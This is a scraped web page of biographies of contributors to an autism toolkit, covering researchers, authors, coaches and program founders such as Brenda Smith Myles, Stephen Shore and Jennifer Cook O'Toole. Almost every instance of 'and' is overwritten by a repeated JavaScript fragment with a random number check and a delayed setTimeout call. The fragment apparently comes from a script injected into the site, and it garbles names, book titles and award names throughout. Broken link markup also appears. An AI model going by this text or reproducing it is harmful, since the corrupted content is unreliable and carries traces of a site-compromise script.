Expert Contributors

 

Autism Toolkit Contributor BrendaMylesBrenda Smith Myles, PhD

Brenda Smith Myles was recently acknowledged as the second most productive applied researcher in ASD in the world. She is the recipient of the Autism Society of America’s Outstandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}anding Professional andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Princeton Fellowship Awards. She has made over 500 presentations andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and written over 150 publications. Dr. Myles is a Chief of Programs andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Development for the Autism Society andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and a consultant with the Ziggurat Group andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and the Ohio Center for Autism & Low Incidence (OCALI) in Columbus, Ohio. plus-icon


 

Autism Toolkit Contributor StephenShoreStephen M. Shore, EdD

Diagnosed with “Atypical Development andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and strong autistic tendencies” andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and “too sick” for outpatient treatment Dr. Shore was recommended for institutionalization. Nonverbal until four, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and with much support from his parents, teachers, wife, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and others, Stephen is now a professor at Adelphi University where his research focuses on matching best practice to the needs of people with autism. He is an author of Beyond the Wall: Personal Experiences with Autism andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Asperger Syndrome,” andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andbook-Exercise-Confidence/dp/1849059985/” target=”_blank” rel=”noopener”>The Autism Fitness Handom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andbook.”plus-icon


 

Autism Toolkit Contributor JenniferOToolJennifer Cook O’Toole

Jennifer Cook O’Toole is the creator of The Awesomeness Foundation & Asperkids LLC, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and is author of the internationally-bestselling andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}anding-Teaching-Children/dp/1849059020/ref=sr_1_1?s=books&ie=UTF8&qid=1502380282&sr=1-1&keywords=Jennifer+Cook+O%E2%80%99Toole” target=”_blank” rel=”noopener”>Asperkids book series (2012-15). These books are all Amazon bestsellers, including several #1’s andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and the ASA’s 2014 Outstandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}anding Literary Work of the Year. Jennifer has been recognized as one of the “World’s Top Aspie Mentors,”  is the winner of the Temple Grandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andin Global Contribution Award, has advised the President’s Council at the White House, addressed Her Royal Highness the Countess of Wessex, in Englandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and was named one of the 50 Most Influential Women in North Carolina. Jennifer keynotes around the globe andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and is the mom of three (awesome) Asperkids, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and proudly is an Aspie herself. plus-icon  facebook_logo


 

Autism Toolkit Contributor MichaelCarleyMichael John Carley

Michael John Carley is the Founder of GRASP, a School Consultant in Wisconsin, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and the author of Asperger’s From the Inside-Out (2008), Unemployed on the Autism Spectrum (2016), andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and numerous articles. He is also at work on “Why Am I Afraid of Sex?’ Building Sexual Confidence in the Autism Spectrum…andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Beyond!” (Jessica Kingsley). In 2000, he andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and one of his two sons were diagnosed with Asperger’s Syndrome. plus-icon


 

Autism Toolkit Contributor BarbaraBissonnetteBarbara Bissonnette

Barbara Bissonnette is a certified coach andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and the principal of Forward Motion Coaching. Barbara specializes in career development coaching andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and workplace advocacy for individuals with Asperger’s Syndrome (andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and similar autism spectrum profiles) andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Nonverbal Learning Disorder. She also offers consultation andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and training for organizations on how to utilize the skills of employees with Asperger’s Syndrome andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and other social, communication, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and executive function challenges. Barbara is the author of The Complete Guide to Getting a Job for People with Asperger’s Syndromeandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and “The Asperger’s Syndrome Workplace Survival Guide: A Neurotypical’s Secrets for Success“. plus-icon  facebook_logo


 

Valerie Paradiz, PhD

Dr. Paradiz is the developer of Integrated Self Advocacy ISA®, an evidence-based program that gives teachers, therapists, service providers, families andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and people with disabilities handom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}ands-on curricula andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and tools to foster ability in self-advocacy andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and self-determination. The Center for Integrated Self Advocacy, headed by Dr. Paradiz, provides online courses andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and certification in the Integrated Self Advocacy ISA® method andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and curricula. Dr. Paradiz is also a board member of Autism Speaks.plus-icon  facebook_logo


 

Autism Toolkit Contributor LianeWilleyLiane Holliday Willey, EdD

Professor Liane Holliday Willey, who holds a doctorate in psycholinguistics, was diagnosed with Asperger syndrome when she was 35 years old. Since her diagnosis Liane has focused her academic research on female’s with Asperger syndrome andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and communication skills for people on the spectrum. Liane is the author of several books on this topic: Safety Skills for Asperger Women: How to Save a Perfectly Good Female Life,” “Pretending to be Normal: Living with Aspergers Syndrome,” “Asperger Syndrome in Adolescence: Living with the Ups, the Downs andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Things in Between,” andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andAsperger Syndrome in the Family: Redefining Normal.” Liane has been featured in USA Today, The Associated Press, The New York Times, The LA Times, The Washington Post, Autism One Radio, Oxygen TV, several NPR stations, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and many other media outlets. Though Professor Willey loves helping others understandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Asperger syndrome, her professional employment happens at Kirkshire Farm, an equestrian facility she owns andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and operates. plus-icon


 

Autism Toolkit Contributor DebraMuzicarDebra Muzikar

Debra Muzikar is co-founder of The Art of Autism collaborative, which showcases the gifts of autism. She has compiled two books on art andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and autism: The Art of Autism: Shattering Myths andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and The Art of Autism: Shifting Perceptions.” She blogs at The Art of Autism andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and writes regularly about creativity andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and the human spirit. Debra posts art of those on the spectrum on The Art of Autism Facebook page.  facebook_logo  plus-icon


 

Autism Toolkit Contributor JoanneLoraJoanne Lara, MA

Joanne Lara is a professional dancer turned classroom education specialist turned university professor, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and has dedicated her life’s work to improving the lives of individuals with autism through movement andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and music. Her advocacy has led to founding the non-profit organization Autism Movement Therapy® in Los Angeles, California, the recipient of two Autism Speaks grants. Joanne is author of Autism Movement Therapy® Method: Waking up the Brain!” (2015) andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and “Teaching Pre-Employment Skills to 14–17-Year-Olds: The Autism Works Now!® Method” (2017).plus-icon  facebook_logo


 

Jill Hudson, MS

Jill Hudson is a certified Child Life Specialist trained at Johns Hopkins University, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and has a graduate degree in Autism/Asperger Syndrome from the University of Kansas. Hudson is a private consultant working with families andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and children of all ages internationally. She is the author of andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}anding-Supporting-Children/dp/1934575089/” target=”_blank” rel=”noopener”>three books andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and several articles andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and is a consultant with the Ohio Center for Autism & Low Incidence in Columbus, Ohio. facebook_logo


 

J. Richardson (Jay) Collins, MTS, MSW

Jay Collins is a Disability Resource Coordinator for Maine’s Disability Employment Initiative. He also served as a consultant to the Autism Research Institute, serving as Managing Editor of the Adults with ASD eBulletin. Prior to work in the area of research andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and systems change, his experience was in direct service delivery; first as a public school special educator andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and then as a case manager in adult social services. He works on a number of projects related to best practices andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and improving service delivery for adults andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and youth with disabilities. Particular areas of interest are Person-Centered Planning (PCP) andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and its application to both post-secondary transition andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and employment planning as well as Universal Design for Learning (UDL) andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and the application of accessible technology.plus-icon 


 

Michael McManmonDr. Michael P. McManmon, Ed.D.

Dr. McManmon is a featured keynote speaker andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and presenter at ASD/LD conferences worldwide. He is a trained psychologist andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and holds a Doctorate in Special Education, plus Master’s degree in Counseling. He is the CIP (College Internship Program) founder andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and author of Autism andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Learning Differences: An Active Learning Teaching Toolkit (2015), “Made for Good Purpose (2012) andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andMploy – A Job Readiness Workbook” (Jessica Kingsley, October 2017).  Dr. McManmon’s work in the field is innovative andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and cutting edge with a focus on preparing young adults for life, independence, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and work through internships, volunteerism, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and community-based projects andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and service learning.  plus-icon  facebook_logo


 

Dan McManmon

Dan is a President of CIP (College Internship Program) – one of the most comprehensive programs in the world for assisting young adults with Autism & LD to succeed in college, employment, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and independent living. Dan is a member of the Autism Asperger’s Network (AANE)Learning Disabilities Association of America (LDA)Autism Society of America (ASA), andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and the Young Presidents Organization (YPO). His co-authored work on Reframing was published in the Autism File Magazine andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and he is a contributor toAutism & Learning Differences: An Active Learning Teaching Toolkit.
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Circle FrancineFrancine Britton, M.Ed.

Francine is as a special education teacher andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and a children’s human rights specialist. She is the author of two teaching toolkits on Active/ Service Learning. Francine trains educators andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and works with education ministries worldwide on the implementation of active learning andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and peaceful conflict resolution (awareness, anti-bullying, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and peer mediation) strategies for secondary schools. For the past seven years she has been an Education Consultant to CIP, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and was the content editor forAutism andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Learning Differences: An Active Learning Teaching Toolkit andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and “Made for Good Purpose publications.


 

Sharona SommerSharona Sommer, CPC

Sharona has worked in the Special Education field for over 20 years andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and is the founder of Sharona Coaching andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Consulting, which provides family coaching to families with children on the Autism Spectrum, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and also leads workshops andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and support groups. Sharona has presented at several national conferences (LDA, National Autism Conference, YAI), andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and consults with several organizations in the Autism field.  plus-icon  andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and-Consulting-LLC-149557098580325/” target=”_blank” rel=”attachment wp-att-746 noopener”>facebook_logo